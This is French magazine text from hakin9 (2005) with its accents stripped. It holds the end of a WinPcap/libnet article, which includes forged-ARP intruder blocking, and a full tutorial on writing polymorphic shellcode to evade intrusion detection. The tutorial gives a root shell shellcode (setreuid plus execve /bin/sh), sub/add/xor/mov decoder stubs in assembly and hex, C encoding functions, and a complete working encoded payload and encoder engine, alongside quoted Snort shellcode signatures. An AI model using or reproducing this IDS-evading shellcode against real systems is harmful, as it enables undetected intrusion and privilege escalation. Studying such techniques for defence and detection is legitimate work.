partir la couche infrieure. C'est
l'ordre des appels qui compte par
exemple, tout d'abord TCP, ensuite
IP, et la fn Ethernet. La bibliothque
numrote chaque en-tte l'aide de
la variable de type libnet _ ptag _ t
(tant en fait la variable int32 _ t) ;
la couche suprieure (p.ex. TCP),
le numro 1 est affect, et l'inf-
rieure 3 (en cas des en-ttes TCP,
Listing 7. Le lancement de l'interception des paquets en mode actif
pcap_if_t *alldevs,*d;
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE+1];
int i=0,inum=0;
struct pcap_rmtauth auth;
SOCKET retval;
char connectingHost[RPCAP_HOSTLIST_SIZE];
/* Confgurer le mode d'autorisation utilisant
le nom et mot de passe utilisateur */
auth.type = RPCAP_RMTAUTH_PWD;
auth.username = "user";
auth.password = "adumbpassword";
/* Attendre la connexion de l'hte distant nous */
while ( (retval = pcap_remoteact_accept(
NULL,/* couter sur tous les ports possibles */
NULL,/* Utiliser le port par dfaut */
NULL,/* Pas de liste d'ordinateurs pouvant se connecter */
connectingHost, &auth, errbuf ) ) == -1)
{
fprintf(stderr,"Connection to host: %s cannot be established: %s\n",
connectingHost, errbuf);
Sleep(1000);
}
if (retval < 0 )
{
fprintf(stderr,"Error in pcap_remoteact_accept():%s\n", errbuf);
return -1;
}
/* Prparer 'connection string' rpcap://host
** l'aide de la fonction de bibliothque */
char remstring[PCAP_BUF_SIZE];
ZeroMemory(remstring,PCAP_BUF_SIZE);
if ( pcap_createsrcstr(remstring, /* tampon du connection string*/
PCAP_SRC_IFREMOTE, /* ce qui nous intresse, c'est l'interface distante */
connectingHost, /* l'adresse de l'hte auquel nous sommes connects */
NULL, /* port par dfaut */
NULL, /* nous ne connaissons pas encore le nom de l'interface */
errbuf) == -1 )
{
fprintf(stderr,"Error in pcap_createsrcstr: %s\n", errbuf);
return -1;
}
/* Trouver les interfaces WinPcap */
if (pcap_fndalldevs_ex(remstring, /* rpcap://host:port/ */
&auth, /* Autorisation distante */
&alldevs, /* Liste de priphriques */
errbuf) == -1)
{
fprintf(stderr,"Error in pcap_fndalldevs: %s\n", errbuf);
return -1;
}
Exemple pratique
hakin9.live contient un exemple pra-
tique de l'utilisation des bibliothques
WinPcap et libnet. L'exemple est bas
sur les principes suivants :
Un rseau local LAN se compose
de dix ordinateurs. Admettez que vous
n'avez pas daccs direct au routeur
avec les droits d'administration (disons
que l'administrateur est partie en va-
cances), et vous avez constat qu'un
ordinateur a t connect au rseau
d'une faon illgale. Il n'y a pas de
moyen d'en informer l'administrateur,
et le rseau n'est pas protg contre
de telles situations (le pare-feu laisse
passer tous ce qui provient du rseau
local aucune liste d'accs n'a t
dfnie). Pour bloquer l'intrus l'ac-
cs au rseau, vous avez invent un
programme qui envoie celui-ci de
fausses rponses ARP avec des liens
MAC<->IP incorrects.
hakin9 N 6/2005 www.hakin9.org
Programmation
66
IP, Ethernet). Si en argument de la
fonction de construction on passe 0,
l'en-tte sera construit de nouveau.
Dans le cas contraire, une partie du
paquet dfnie par la variable de type
libnet _ ptag _ t sera remplace.
Une fois le paquet construit, il est en-
voy par la fonction libnet _ write().
Pas si compliqu
Comme vous voyez, l'utilisation des
bibliothques WinPcap et libnet
n'est pas diffcile et offre de vastes
possibilits. Nous vous invitons
prendre connaissance de la do-
cumentation des paquets et de les
utiliser dans tous les programmes
ncessitant l'accs au rseau de
bas niveau. l
Tableau 2. Les arguments possibles pour le paramtre injection_type de la
fonction libnet_init
Valeur de l'argument Description
LIBNET_LINK, LIBNET_LINK_ADV
Construction des paquets partir
de la couche de liaison de donnes.
LIBNET_RAW4, LIBNET_RAW4_ADV
Pour envoyer les paquets, utilise les
sockets bruts IPv4.
LIBNET_RAW6, LIBNET_RAW6_ADV
Pour envoyer les paquets, utilise les
sockets bruts IPv6.
Tableau 3. Les fonctions les plus
importantes composant un paquet
Les plus importantes
fonctions libnet composant
un paquet
libnet _ ptag _ t
libnet _ build _ tcp _ options
(u _ int8 _ t *options, u _ int32 _
t options _ s, libnet _ t *l,
libnet _ ptag _ t ptag)
libnet _ ptag _ t
libnet _ build _ tcp (u _ int16 _ t
sp, u _ int16 _ t dp, u _ int32 _ t
seq, u _ int32 _ t ack, u _ int8 _
t control, u _ int16 _ t win,
u _ int16 _ t sum, u _ int16 _ t
urg, u _ int16 _ t len, u _ int8 _ t
*payload, u _ int32 _ t payload _ s,
libnet _ t *l, libnet _ ptag _ t
ptag)
libnet _ ptag _ t
libnet _ build _ udp (u _ int16 _ t
sp, u _ int16 _ t dp, u _ int16 _ t
len, u _ int16 _ t sum, u _ int8 _ t
*payload, u _ int32 _ t payload _ s,
libnet _ t *l, libnet _ ptag _ t
ptag)
libnet _ ptag _ t
libnet _ build _ ipv4 (u _ int16 _ t
len, u _ int8 _ t tos, u _ int16 _ t
id, u _ int16 _ t frag, u _ int8 _ t
ttl, u _ int8 _ t prot, u _ int16 _ t
sum, u _ int32 _ t src, u _ int32 _
t dst, u _ int8 _ t *payload,
u _ int32 _ t payload _ s, libnet _ t
*l, libnet _ ptag _ t ptag)
libnet _ ptag _ t
libnet _ build _ arp (u _ int16 _ t
hrd, u _ int16 _ t pro, u _ int8 _ t
hln, u _ int8 _ t pln, u _ int16 _ t
op, u _ int8 _ t *sha, u _ int8 _ t
*spa, u _ int8 _ t *tha, u _ int8 _
t *tpa, u _ int8 _ t *payload,
u _ int32 _ t payload _ s, libnet _ t
*l, libnet _ ptag _ t ptag)
libnet _ ptag _ t
libnet _ build _ ethernet (u _
int8 _ t *dst, u _ int8 _ t *src,
u _ int16 _ t type, u _ int8 _ t
*payload, u _ int32 _ t payload _ s,
libnet _ t *l, libnet _ ptag _ t
ptag)
propos de lauteur
Konrad Malewski a termin les tudes
en informatique, il s'occupe de l'admi-
nistration de plusieurs rseaux. Il est
spcialiste en programmation et en
scurit des systmes rseau.
Sur Internet
http://www.winpcap.org/ le site du projet WinPcap,
http://www.packetfactory.net/ le site du paquet libnet et d'autres outils rseau
tels que libnet, ngrep, ISIC et autres,
http://www.ethereal.com/ le site de l'analyseur des protocoles reau Ethereal,
http://www.oxid.it/ beaucoup de programmes utilisant WinPcap,
http://webteca.altervista.org/dsniff.htm l'implmentation du paquet dsniff sous
Win32,
http://www.insecure.org/ le scanneur rseau Nmap,
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/randz/protocol/
tcp_ip_stack_architecture.asp l'architecture de la pile TCP/IP sous Windows.
Terminologie
NDIS (en anglais Network Driver Interface Specifcation) L'API de bas niveau
dfnissant les formes des fonctions exportes par les pilotes des cartes rseau, les
fltres et les pilotes des protocoles (p.ex. MS TCP/IP),
TDI (en anglais Transport Driver Interface) les pilotes donnant accs l'inter-
face TDI fonctionnent et donne accs son interface ainsi quaux bibliothques
oprant en mode utilisateur. Autrement dit, c'est un intermdiaire entre le client TDI
(p. ex. WINSOCK) et le pilote de bas niveau NDIS,
MAC (en anglais Medium Access Control) cet acronyme peut est compris
de deux manires : en tant que couche ISO/OSI ou en tant quadresse de la
carte rseau de 48 bits. Les deux notions sont troitement lies l'une l'autre. La
couche MAC contient un en-tte (p. ex. ethernet) qui est compos des adresses
MAC. Chaque adresse MAC est affecte une carte rseau et doit tre unique
lintrieur du rseau local. prsent, la plupart des cartes rseau et des systmes
d'exploitation offrent la possibilit de modifer l'adresse MAC de la carte rseau,
Sniffeur un programme dont la tche consiste intercepter des donnes traver-
sant le rseau. Les sniffeurs sont souvent dots de fonctions auxiliaires permettant
l'analyse, le fltrage ou le dchiffrage. Par dfaut, la carte rseau transmet au syst-
me d'exploitation uniquement des trames qui lui sont adresses (le champ adresse
MAC cible de la trame Ethernet continent l'adresse physique de la carte rseau). Le
Sniffeur peut mettre la carte rseau en mode promiscuous et intercepter aussi les
trames dont l'adresse cible est diffrente de l'adresse MAC de la carte rseau.
www.hakin9.org hakin9 N 6/2005 68
Programmation
L
orsque vous ralisez une attaque contre
un service rseau, il y a toujours un risque
que vous soyez repr par un systme de
dtection d'intrusions (en anglais Intrusion De-
tection System IDS) et que malgr la russite
de l'attaque, l'administrateur vous identife vite et
qu'il vous dconnecte du rseau attaqu. C'est
incontournable car la plupart des shellcodes ont
une structure similaire, utilisent les mmes ap-
pels systme et les instructions assembleur et il
est donc facile de crer pour ces shellcodes des
signatures universelles.
La solution partielle ce problme est la
cration de shellcode polymorphique qui n'aura
pas les caractristiques propres aux shellcodes
typiques, mais qui ralisera en mme temps
les mmes fonctionnalits. Cela peut paratre
diffcile raliser, mais si vous arrivez matri-
ser la structure du shellcode lui-mme, cela ne
vous posera aucun problme. Tout comme dans
l'article Optimisation des shellcodes dans Linux
publi dans hakin9 5/2005, votre point de dpart
sera la plateforme x86 de 32 bits, le systme
Linux avec le noyau de la srie 2.4 (tous les
exemples fonctionnent galement dans les sys-
tmes dots de noyau de la srie 2.6) et les outils
Netwide Assembler (nasm) et hexdump.
Pour ne pas commencer ds le dbut, uti-
lisez trois logiciels crs au pralable. Prenez
comme exemple deux shellcodes write4.asm et
shell4.asm. Leurs codes source sont prsents
sur les Listings 1 et 2 et la mthode pour les con-
vertir en code assembleur est dmontre sur les
Figures 1 et 2. Pour tester vos shellcodes, utilisez
le logiciel test.c prsent sur le Listing 3.
Shellcode dvelopp
Votre objectif est d'crire un code constitu des
deux lments suivants : la fonction de dcodeur
et le shellcode encod. Aprs avoir lanc le code
et aprs s'tre retrouv dans la mmoire tampon
Crer un shellcode
polymorphique
Micha Piotrowski
Degr de diffcult
Grce l'article publi dans le numro prcdent de hakin9,
vous avez appris crer et modifer le shellcode. Vous avez eu
galement l'occasion de connatre les problmes de base lis sa
structure et les techniques permettant de les contourner. Grce
cet article, vous allez apprendre ce qu'est le polymorphisme
et comment crire les shellcodes non identifables par les
systmes IDS.
Cet article explique...
comment crire un shellcode polymorphique,
comment crer un programme donnant aux
shellcodes les traits polymorphiques.
Ce qu'il faut savoir...
vous devez savoir utiliser le systme Linux,
vous devez connatre les rgles de program-
mation en C et en assembler.
Shellcode polymorphique
hakin9 N 6/2005 www.hakin9.org 69
dans un logiciel vulnrable, la fonction
de dcodeur dcode tout d'abord le
shellcode appropri, puis elle lui trans-
fre la gestion. La structure du shell-
code dvelopp est prsente sur la
Figure 3 et la Figure 4 reprsente les
tapes donnes de son fonctionne-
ment.
Dcodeur
La tche du dcodeur est de dcoder
le shellcode. Il existe divers moyens
permettant d'y parvenir mais quatre
mthodes utilisant les instructions
assembleur de base sont utilises le
plus souvent :
la soustraction (l'instruction sub)
les valeurs numriques don-
nes sont soustraites des octets
du shellcode encod,
l'ajout (instruction add) les valeurs
numriques donnes sont ajoutes
aux octets donns du shellcode,
la diffrence symtrique (l'ins-
truction xor) les octets donns
du shellcode sont soumis l'op-
ration de diffrence symtrique
avec une valeur dfnie,
Polymorphisme
Le mot polymorphisme vient du grec et signife plusieurs formes. Ce terme a t
employ en informatique pour la premire fois par un pirate bulgare portant le
pseudonyme Dark Avenger, ce dernier ayant cr en 1992 le premier virus polymor-
phique. L'objectif du code polymorphique est d'viter la dtection tout en s'adaptant
aux modles, c'est--dire certains traits caractristiques permettant d'identifer un
code donn. La technique de dtection des modles est utilise dans les logiciels
antivirus et dans les systmes de dtection des intrusions.
L'encodage est un mcanisme le plus souvent utilis pour intgrer le polymor-
phisme dans le code des logiciels informatiques. Le code appropri, excutant les
fonctions principales du logiciel est encod et une fonction de plus est ajoute au
logiciel, dont la seule tche est d'encoder et de lancer le code original.
Signatures
Un lment cl pour tous les systmes rseau de dtection d'intrusions (en anglais
Network Intrusion Detection System NIDS) est la base de signatures, savoir un
ensemble de caractristiques pour une attaque donne ou un type d'attaques. Le sys-
tme NIDS intercepte tous les paquets envoys travers le rseau et il essaye de les
comparer une des signatures disponibles. Ds qu'il russit, une alerte est dclenche.
Les systmes plus avancs sont galement capables de confgurer le pare-feu de sorte
qu'il n'autorise pas l'entre du trafc venant de l'adresse IP appartenant l'intrus.
Ci-dessous, vous trouverez trois exemples de signatures pour le logiciel Snort
permettant d'identifer la plupart des shellcodes typiques pour les systmes Linux. La
premire d'entre elles dtecte la fonction setuid (les octets B0 17 CD 80), la deuxime
la chane de caractres /bin/sh et la troisime le pige NOP :
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any
(msg:"SHELLCODE x86 setuid 0"; content:"|B0 17 CD 80|";
reference:arachnids,436; classtype:system-call-detect;
sid:650; rev:8;)
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any
(msg:"SHELLCODE Linux shellcode";
content:"|90 90 90 E8 C0 FF FF FF|/bin/sh";
reference:arachnids,343; classtype:shellcode-detect;
sid:652; rev:9;)
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any
(msg:"SHELLCODE x86 NOOP"; content:"aaaaaaaaaaaaaaaaaaaaa";
classtype:shellcode-detect; sid:1394; rev:5;)
Il est beaucoup plus diffcile aux systmes IDS de noter la prsence de code polymorphi-
que que celle du shellcode typique, mais il ne faut pas oublier que le polymorphisme ne
rsout pas tous les problmes. La plupart des systmes contemporains de dtection d'in-
trusions utilisent, outre les signatures, des techniques plus ou moins avances permettant
de dtecter galement le shellcode encod. Les plus connues parmi elles sont l'identifca-
tion de la chane NOP, la dtection des fonctions du dcodeur et l'mulation du code.
Listing 1. Fichier write4.asm
1: BITS 32
2:
3: ; write(1,"hello, world!",14)
4: push word 0x0a21
5: push 0x646c726f
6: push 0x77202c6f
7: push 0x6c6c6568
8: mov ecx, esp
9: push byte 4
10: pop eax
11: push byte 1
12: pop ebx
13: push byte 14
14: pop edx
15: int 0x80
16:
17: ; exit(0)
18: mov eax, ebx
19: xor ebx, ebx
20: int 0x80
Listing 2. Fichier shell4.asm
1: BITS 32
2:
3: ; setreuid(0, 0)
4: push byte 70
5: pop eax
6: xor ebx, ebx
7: xor ecx, ecx
8: int 0x80
9:
10: ; execve("/bin//sh",
["/bin//sh", NULL], NULL)
11: xor eax, eax
12: push eax
13: push 0x68732f2f
14: push 0x6e69622f
15: mov ebx, esp
16: push eax
17: push ebx
18: mov ecx, esp
19: cdq
20: mov al, 11
21: int 0x80
Listing 3. Fichier test.c
char shellcode[]="";
main() {
int (*shell)();
(int)shell = shellcode;
shell();
}
hakin9 N 6/2005 www.hakin9.org
Programmation
70
le dplacement (l'instruction mov)
les octets donns du shellcode
sont changs les uns contre les
autres.
Le Listing 4 reprsente le code sour-
ce du dcodeur utilisant l'instruction
de soustraction. Essayez d'examiner
de prs son fonctionnement. Com-
mencez par la troisime ligne du
code source et l'endroit repr
comme three. Vous y trouverez l'ins-
truction call transfrant l'excution
du logiciel vers l'endroit one et met-
tant en mme temps sur la pile la
valeur de l'adresse de l'instruction
suivante. Grce cela, l'adresse de
l'instruction four se trouvant aprs
le code du dcodeur sera mise sur
la pile dans votre cas, ce sera le
dbut du shellcode encod.
Dans la sixime ligne, enlevez
cette adresse de la pile et mettez-la
dans le registre ESI, rglez zro
le registre ECX (ligne 7) et insrez-y
(ligne 8) un nombre de 1 octet dfnis-
sant la longueur du shellcode encod.
Pour l'instant, la valeur est 0 mais cela
changera plus tard. Entre les lignes
10 et 14, il y a une boucle qui s'excu-
tera autant de fois que le nombre des
octets se trouvant dans le shellcode
encod. Dans les itrations suivantes,
le nombre mis dans le registre ECX
sera diminu de 1 (l'instruction sub
cl, 1 dans la ligne 12) et la boucle
cessera de fonctionner lorsque cette
valeur sera gale zro. L'instruction
jnz two (Jump if Not Zero) sautera au
dbut de la boucle repr comme two
jusqu' ce que le rsultat de soustrac-
tion ne soit pas gal zro.
Dans la ligne 11, il y a l'instruction
proprement dite dcodant le shellco-
de elle soustrait le zro des octets
suivants du shellcode (en regardant
en arrire). Bien sr, la soustraction
Figure 1. Shellcode write4
Figure 2. Shellcode shell4
Figure 3. Structure du code
polymorphique
Figure 4. tapes de fonctionnement
du code polymorphique
Listing 4. Fichier decode_
sub.asm
1: BITS 32
2:
3: jmp short three
4:
5: one:
6: pop esi
7: xor ecx, ecx
8: mov cl, 0
9:
10: two:
11: sub byte [esi + ecx - 1], 0
12: sub cl, 1
13: jnz two
14: jmp short four
15:
16: three:
17: call one
18:
19: four:
Figure 5. Compilation du dcodeur decode_sub.asm
Shellcode polymorphique
hakin9 N 6/2005 www.hakin9.org 71
du zro n'a pas de sens, mais vous
vous en occuperez dans la partie
suivante de l'article. Ds que tout le
code retrouvera sa forme originale,
le dcodeur saute (ligne 14) au dbut
du code, ce qui permet aux instruc-
tions s'y trouvant de s'excuter.
La compilation du code dcodeur
se droule de la mme manire
que la compilation du shellcode, ce
qui est reprsent sur la Figure 5.
Comme vous pouvez le constater,
il y a dans le code deux octets zro
correspondant aux zros dans les
lignes 8 et 11 du code source du pro-
gramme decode_sub.asm. Vous les
remplacerez par les valeurs correc-
tes (non zro) lorsque vous allez lier
le dcodeur au shellcode encod.
Encoder le shellcode
Vous avez dj la fonction de dcoda-
ge et il vous manque encore le shell-
code encod. Vous avez galement
les shellcodes write4 et shell4. Il faut
donc les convertir au format pouvant
cooprer avec le dcodeur. Il est
possible de le faire manuellement en
ajoutant chaque octet du code une
valeur choisie, mais une telle solution
est peu effcace et manque de sou-
plesse l'usage . Au lieu de cela, uti-
lisez un nouveau programme nomm
encode1.c visible sur le Listing 5.
chaque octet de la variable de
caractres shellcode, il ajoute la va-
leur dfnie dans la variable offset.
Dans ce cas, modifez le shellcode
write4 en incrmentant chaque octet
de 1. La compilation du programme
et le rsultat obtenu sont prsents
sur la Figure 6. Si vous comparez
maintenant le shellcode original avec
celui encod, vous noterez qu'ils
diffrent de 1. En outre, le code que
vous avez obtenu, rsultant du fonc-
tionnement du programme encode1,
ne contient pas les octets zro (0x00)
et de mme, il peut tre insr dans
un programme vulnrable au dbor-
dement de la mmoire tampon.
Lier le dcodeur au code
Vous avez maintenant le dcodeur et
le shellcode encod. Il ne vous reste
qu' les assembler et vrifer si tout
fonctionne correctement. Insrez-le
tout dans la variable shellcode du
programme test.c (Listing 6) tout en
remplaant les deux octets zro se
trouvant dans le code dcodeur par
la valeur \x26 (la longueur du code
encod est de 38 octets 26 dans le
systme hexadcimal) et \x01 (pour
obtenir un shellcode original, il faut
diminuer de 1 la valeur de chaque oc-
tet). Comme vous pouvez le voir sur la
Listing 5. Fichier encode1.c
#include <stdio.h>
char shellcode[] =
"\x66\x68\x21\x0a\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x68"
"\x65\x6c\x6c\x89\xe1\x6a\x04\x58\x6a\x01\x5b\x6a\x0e\x5a\xcd\x80"
"\x89\xd8\x31\xdb\xcd\x80";
int main() {
char *encode;
int shellcode_len, encode_len;
int count, i, l = 16;
int offset = 1;
shellcode_len = strlen(shellcode);
encode = (char *) malloc(shellcode_len);
for (count = 0; count < shellcode_len; count++)
encode[count] = shellcode[count] + offset;
printf("Encoded shellcode (%d bytes long):\n", strlen(encode));
printf("char shellcode[] =\n");
for (i = 0; i < strlen(encode); ++i) {
if (l >= 16) {
if (i) printf("\"\n");
printf("\t\"");
l = 0;
}
++l;
printf("\\x%02x", ((unsigned char *)encode)[i]);
}
printf("\";\n");
free(encode);
return 0;
}
Figure 6. Compilation et fonctionnement du programme encode1.c
Listing 6. Version modife du fchier test.c
char shellcode[] =
//decoder - decode_sub
"\xeb\x11\x5e\x31\xc9\xb1\x26\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"
//encoded shellcode - write4
"\x67\x69\x22\x0b\x69\x70\x73\x6d\x65\x69\x70\x2d\x21\x78\x69\x69"
"\x66\x6d\x6d\x8a\xe2\x6b\x05\x59\x6b\x02\x5c\x6b\x0f\x5b\xce\x81"
"\x8a\xd9\x32\xdc\xce\x81";
main() {
int (*shell)();
(int)shell = shellcode;
shell();
}
hakin9 N 6/2005 www.hakin9.org
Programmation
72
Figure 7, votre nouveau shellcode po-
lymorphique fonctionne bien le shell-
code original est dcod et il affche le
message sur la sortie standard.
Crer un moteur
A prsent, vous savez donner aux
shellcodes les caractristiques poly-
morphiques et les masquer ainsi aux
systmes de dtection d'intrusions.
Essayez alors d'crire un program-
me simple permettant d'automatiser
tout le processus l'entre, il
acceptera le shellcode en version
originale, il l'encodera et il ajoutera
un dcodeur adquat.
Commencez par crer les dco-
deurs utilisant les instructions add, xor
et mov. Nommez-les respectivement
decode _ add, decode _ xor et decode _
mov. Comme les codes source des
fonctions decode _ add et decode _ xor
diffrent de la fonction decode _ sub
cre au pralable seulement par
l'instruction disponible dans la ligne 11,
vous n'allez pas les prsenter dans
leur totalit. Il sufft que la ligne 11 soit
remplace par add byte [esi + ecx
- 1], 0 (pour decode _ add) ou par xor
byte [esi + ecx - 1], 0 (pour decode _
xor). Le code source decode _ mov
(voyez le Listing 7) est un peu diffrent
et il utilise quatre instructions mov qui
changent les places de tous les deux
octets voisins. Compilez les codes
pour obtenir les programmes montrs
sur la Figure 8. Transformez-les alors
en variables de caractres et insrez
dans le fchier source de votre moteur
encodee.c (Listing 8).
Fonctions d'encodage
Il est temps maintenant de crer
quatre fonctions qui chargeront le
shellcode en version originale et qui
l'encoderont. Nommez-les respecti-
vement : encode _ sub, encode _ add,
encode _ xor et encode _ mov. Les trois
premires fonctions prennent comme
arguments le pointeur vers le shellco-
de que vous voulez encoder et la cl
sous la forme de la valeur de dpla-
Figure 7. Vrifer le fonctionnement du code polymorphique
Listing 7. Fichier decode_
mov.asm
1: BITS 32
2:
3: jmp short three
4:
5: one:
6: pop esi
7: xor eax, eax
8: xor ebx, ebx
9: xor ecx, ecx
10: mov cl, 0
11:
12: two:
13: mov byte al, [esi + ecx - 1]
14: mov byte bl, [esi + ecx - 2]
15: mov byte [esi + ecx - 1], bl
16: mov byte [esi + ecx - 2], al
17: sub cl, 2
18: jnz two
19: jmp short four
20:
21: three:
22: call one
23:
24: four:
Listing 8. Dfnition des dcodeurs
char decode_sub[] =
"\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff";
char decode_add[] =
"\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x44\x0e\xff\x00\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff";
char decode_xor[] =
"\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x74\x0e\xff\x00\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff";
char decode_mov[] =
"\xeb\x20\x5e\x31\xc0\x31\xdb\x31\xc9\xb1\x00\x8a\x44\x0e\xff\x8a"
"\x5c\x0e\xfe\x88\x5c\x0e\xff\x88\x44\x0e\xfe\x80\xe9\x02\x75\xeb"
"\xeb\x05\xe8\xdb\xff\xff\xff";
Figure 8. Dcodeurs add, xor et mov
Shellcode polymorphique
hakin9 N 6/2005 www.hakin9.org 73
hakin9 N 6/2005 www.hakin9.org
Programmation
74
cement et elles retournent un pointeur
vers un code nouvellement cr. Si
lors de l'encodage, un octet zro ap-
parat dans le shellcode rsultant, les
fonctions cesseront de fonctionner et
elles retourneront la valeur NULL.
La fonction encode _ mov prenant
seulement un argument (le shell-
code) et changeant la place de tous
les deux octets voisins se prsente
d'une autre manire. Pour viter les
erreurs lies la modifcation du
code un nombre impair d'octets, la
fonction vrife la longueur du shell-
code et si ncessaire, change le
dernier octet contre l'instruction NOP
(0x90). Grce cela, la longueur du
code sera toujours la multiplicit de 2.
Toutes les quatre fonctions sont pr-
sentes sur le Listing 9.
Fonctions liant le dcodeur au
code encod
Pour lier le code dcodeur au shell-
code encod, utilisez l'une de quatre
fonctions disponibles. Ce sont : add _
sub _ decoder, add _ add _ decoder,
add _ xor _ decoder et add _ mov _
decoder. Chacune d'entre elles mo-
dife le dcodeur dans une variable
approprie de sorte remplacer les
endroits zro s'y trouvant par la lon-
gueur du code encod et la valeur
de dplacement. Ensuite, elle lie le
dcodeur au code encod charg en
tant qu'argument, puis elle retourne le
pointeur vers le code polymorphique
tout prt. Le Listing 10 reprsente
l'une de ces fonctions les autres font
partie du fchier encodee.c disponible
dans hakin9.live.
Fonctions d'aide et la fonction
principale
Vous avez encore besoin de quel-
ques fonctions d'aide permettant
de faciliter l'utilisation du pro-
gramme. La plus importante s'ap-
pelle get _ shellcode, elle charge le
shellcode original depuis un fchier
dfni comme argument. La deuxi-
me, print _ code, affche le shellcode
sous la forme formate, prte tre
insre dans un exploit ou dans le
programme test.c. Les deux der-
nires fonctions s'appellent usage et
getoffset la premire affche la m-
Listing 9. Fonctions d'encodage
char *encode_sub(char *scode, int offset) {
char *ecode = NULL;
int scode_len = strlen(scode);
int i;
ecode = (char *) malloc(scode_len);
for (i = 0; i < scode_len; i++) {
ecode[i] = scode[i] + offset;
if (ecode[i] == '\0') {
free(ecode);
ecode = NULL;
break;
}
}
return ecode;
}
char *encode_add(char *scode, int offset) {
char *ecode = NULL;
int scode_len = strlen(scode);
int i;
ecode = (char *) malloc(scode_len);
for (i = 0; i < scode_len; i++) {
ecode[i] = scode[i] - offset;
if (ecode[i] == '\0') {
free(ecode);
ecode = NULL;
break;
}
}
return ecode;
}
char *encode_xor(char *scode, int offset) {
char *ecode = NULL;
int scode_len = strlen(scode);
int i;
ecode = (char *) malloc(scode_len);
for (i = 0; i < scode_len; i++) {
ecode[i] = scode[i] ^ offset;
if (ecode[i] == '\0') {
free(ecode);
ecode = NULL;
break;
}
}
return ecode;
}
char *encode_mov(char *scode) {
char *ecode = NULL;
int scode_len = strlen(scode);
int ecode_len = scode_len;
int i;
if ((i = scode_len % 2) > 0)
ecode_len++;
ecode = (char *) malloc(ecode_len);
for (i = 0; i < scode_len; i += 2) {
if (i + 1 == scode_len)
ecode[i] = 0x90;
else
ecode[i] = scode[i + 1];
ecode[i + 1] = scode[i];
}
return ecode;
}
Shellcode polymorphique
hakin9 N 6/2005 www.hakin9.org 75
hakin9 N 6/2005 www.hakin9.org
Programmation
76
thode de dmarrage du programme
et la seconde tire un nombre utilis
en tant que dplacement (si l'utili-
sateur ne le dfnit pas). Le code
de ces fonctions est prsent dans
le fchier encodee.c disponible dans
hakin9.live.
Mettez ensemble tous les l-
ments du programme en utilisant la
fonction main (voir le fchier encodee.c
dans hakin9.live). Celle-ci est trs
simple tout d'abord, elle vrife les
paramtres avec lesquels le program-
me a t dmarr, puis elle charge le
shellcode depuis un fchier indiqu,
elle encode l'aide de la fonction
choisie, ajoute le dcodeur et imprime
le tout sur la sortie standard.
Tester le programme
Vrifez maintenant si votre pro-
gramme fonctionne correctement.
Pour cela, crez un shellcode base
du code write4 encod via l'instruc-
tion add et le dplacement gal 15
(Figure 9). Insrez-le ensuite dans le
programme test et vrifez son fonc-
tionnement (Figure 10).
Conclusion
Vous connaissez maintenant les m-
thodes permettant de gnrer des
shellcodes polymorphiques et vous
avez russi crire un programme
automatisant tout le processus. Bien
sr, cela reste un programme trs sim-
ple qui n'utilise que quatre dcodeurs
les plus communs mais il peut tre un
point de rfrence pour vos propres
tudes et exprimentations. l
Listing 10. L'une des fonctions liant le dcodeur au code encod
char *add_sub_decoder(char *ecode, int offset) {
char *pcode = NULL;
int ecode_len = strlen(ecode);
int decode_sub_len;
decode_sub[6] = ecode_len;
decode_sub[11] = offset;
decode_sub_len = strlen(decode_sub);
pcode = (char *) malloc(decode_sub_len + ecode_len);
memcpy(pcode, decode_sub, decode_sub_len);
memcpy(pcode + decode_sub_len, ecode, ecode_len);
return pcode;
}
Figure 9. Compiler le programme encodee et crer un shellcode exemplaire
Figure 10. Tester le shellcode gnr
Sur Internet
http://www.orkspace.net/software/libShellCode/index.php page d'accueil du projet
libShellCode,
http://www.ktwo.ca/security.html page d'accueil de l'auteur d'ADMmutate,
http://www.phiral.com/ page d'accueil de l'auteur du programme dissembler.
propos de l'auteur
Micha Piotrowski est matre en infor-
matique et administrateur expriment
des rseaux et systmes. Durant
plus de trois ans, il a travaill en tant
qu'inspecteur de scurit dans un ta-
blissement responsable du bureau de
certifcation suprieur dans l'infrastruc-
ture polonaise PKI. Actuellement, il est
un expert en scurit tlinformatique
dans l'une des plus grandes institutions
fnancires en Pologne. Il passe son
temps libre programmer. Il s'occupe
galement de la cryptographie.
www.shop.software.com.pl/fr
Abonnez-vous vos magazines prfrs
et commandez des anciens numros !
Vous pouvez en quelques minutes et en toute scurit vous abonner votre magazine prfr.
Nous vous garantissons :
des tarifs prfrentiels,
un paiement en ligne scuris,
la prise en compte rapide de votre commande.
Abonnement en ligne scuris tous les magazines de la maison ddition Software !
Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 887 10 11 ou par courrier :
Software-Wydawnictwo Sp. z o.o., Piaskowa 3, 01-067 Varsovie, Pologne ; Tl. 0048 22 887 13 44 ;
E-mail : abonnement@software.com.pl
Prnom Nom ............................................................................................... Entreprise ...................................................................................................
Adresse .................................................................................................................................................................................................................................
Code postal ................................................................................................ Ville ..............................................................................................................
Tlphone ................................................................................................... Fax ...............................................................................................................
Je souhaite recevoir l'abonnement partir du numro .....................................................................................................................................................
E-mail (indispendable pour envoyer la facture) .................................................................................................................................................................
o Prolongement automatique dabonnement
bulletin dabonnement
Titre
Nombre de
numros
annuels
Nombre
dabonne-
ments
partir du
numro
Prix
hakin9 comment se dfendre ? (1 CD)
Bimestriel destin aux personnes qui sintressent la scurit des
systmes informatiques
6 38
Software Developers Journal Extra (1 CD ou DVD)
anciennement Software 2.0 Extra
Bimestriel sur la programmation
6 38
Linux+DVD (2 DVDs)
Mensuel unique avec 2 DVDs consacr Linux et ses utilisateurs
12 86
Collection Linux+ Distributions (4-7 CDs ou 2 DVDs)
Distributions Linux les plus populaires
6 50
PHP Solutions (1 CD)
Le plus grand magazine sur PHP au monde
6 38
